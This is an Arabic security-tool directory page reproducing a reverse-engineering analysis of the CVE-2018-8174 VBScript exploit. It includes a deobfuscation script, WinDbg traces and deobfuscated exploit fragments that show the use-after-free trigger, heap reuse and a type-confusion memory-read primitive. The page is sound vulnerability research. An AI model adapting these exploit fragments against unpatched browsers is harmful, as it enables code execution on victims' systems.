Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2018-8174_analysis — تحليل استغلال ثغرة VBS CVE-2018-8174 | Kitploit
أدوات/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةالتعلم والتعليماستغلال الملفات الثنائية
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

تحليل استغلال ثغرة VBS CVE-2018-8174

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
301416منذ 8 سنواتتمت المراجعة من قبل Kitploit

تشريح ثغرة متصفح حديثة: دراسة حالة لـ CVE-2018-8174

نظرة عامة

عندما ظهرت هذه الثغرة لأول مرة في مطلع أبريل ومايو، أثارت اهتمامي، لأنه على الرغم من التعتيم الثقيل، بدا هيكل الكود منظمًا جيدًا وكان كود استغلال الثغرة صغيرًا بما يكفي لجعل التحليل أبسط. قمت بتنزيل إثبات المفهوم من github وقررت أنها ستكون مرشحًا جيدًا لإلقاء نظرة تحت الغطاء. في ذلك الوقت، تم نشر تحليلين بالفعل، الأول من 360 والثاني من Kaspersky. ساعدني كلاهما في فهم كيفية عملها، لكنهما لم يكونا كافيين لفهم كل جانب من جوانب الثغرة بعمق. لهذا قررت تحليلها بنفسي ومشاركة النتائج التي توصلت إليها.

المعالجة المسبقة

أولاً، لإزالة التعتيم على الأعداد الصحيحة، استخدمت استبدال التعبير المنتظم في سكربت بايثون:

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

أما بالنسبة للأسماء المشوشة، فقد قمت بإعادة تسميتها تدريجياً أثناء التحليل. من الأفضل قراءة هذا التحليل مع كود المصدر الذي يوجد رابطه في النهاية.

استخدام بعد التحرير (Use After Free)

تحدث الثغرة عندما يتم إنهاء الكائن واستدعاء الدالة المعرفة من قبل المستخدم Class_Terminate(). في هذه الدالة، يتم حفظ مرجع للكائن الذي يتم تحريره في UafArray. من الآن فصاعدًا، يشير UafArray(i) إلى الكائن المحذوف.

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

لاحظ أيضًا السطر الأخير في Class_Terminate(). عندما ننسخ كائن ClassTerminate إلى UafArray، يزداد عداد المراجع الخاص به. لموازنة ذلك، نقوم بتحريره مرة أخرى عن طريق تعيين قيمة أخرى إلى FreedObjectArray. بدون ذلك، لن يتم تحرير ذاكرة الكائن على الرغم من استدعاء Class_Terminate عليه، ولن يتم تخصيص الكائن التالي في مكانه.

طريقة VBScriptClass::Release

يتم تكرار إنشاء وحذف الكائنات الجديدة 7 مرات في حلقة، وبعد ذلك يتم إنشاء كائن جديد من فئة ReuseClass. يتم تخصيصه في نفس الذاكرة التي كانت مشغولة سابقًا بواسطة مثيلات ClassTerminate السبعة. لفهم ذلك بشكل أفضل، إليك سكربت بسيط لـ WinDbg يتتبع جميع هذه التخصيصات:

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

إليك سجل التخصيص من دالة UafTrigger:

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

يمكننا أن نرى فورًا أن ReuseClass يتم تخصيصه بالفعل في نفس الذاكرة التي تم تعيينها لـ 7 مثيلات سابقة من ClassTerminate. يتم تكرار هذا مرتين. ينتهي بنا الأمر بكائنين مشار إليهما بواسطة UafArrays. لا ينعكس أي من هذه المراجع في عداد مراجع الكائن. في هذا السجل، يمكننا أيضًا ملاحظة أنه حتى بعد استدعاء Class_Terminate، هناك بعض التلاعبات بالكائن التي تغير عداد مرجعه. لهذا السبب، إذا لم نوازن هذا العداد في Class_Terminate، فسنحصل على شيء مثل هذا:

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

عناوين تخصيص مختلفة. ستفشل الثغرة في إنشاء حالة استخدام بعد التحرير.

ارتباك النوع (Type Confusion)

بعد إنشاء هذين الكائنين مع 7 مراجع غير محسوبة لكل منهما، أسسنا بدائية قراءة الذاكرة العشوائية (arbitrary memory read primitive). هناك فئتان متشابهتان ReuseClass و FakeReuseClass. باستبدال الفئة الأولى بالثانية، يحدث ارتباك في النوع (type confusion) على العضو mem.

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

في دالة SetProp، يتم حفظ ReuseClass.mem واستدعاء Default Property Get للفئة ReplacingClass_*، وسيتم وضع نتيجة هذا الاستدعاء في ReuseClass.mem.

Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property
تنزيل الأداة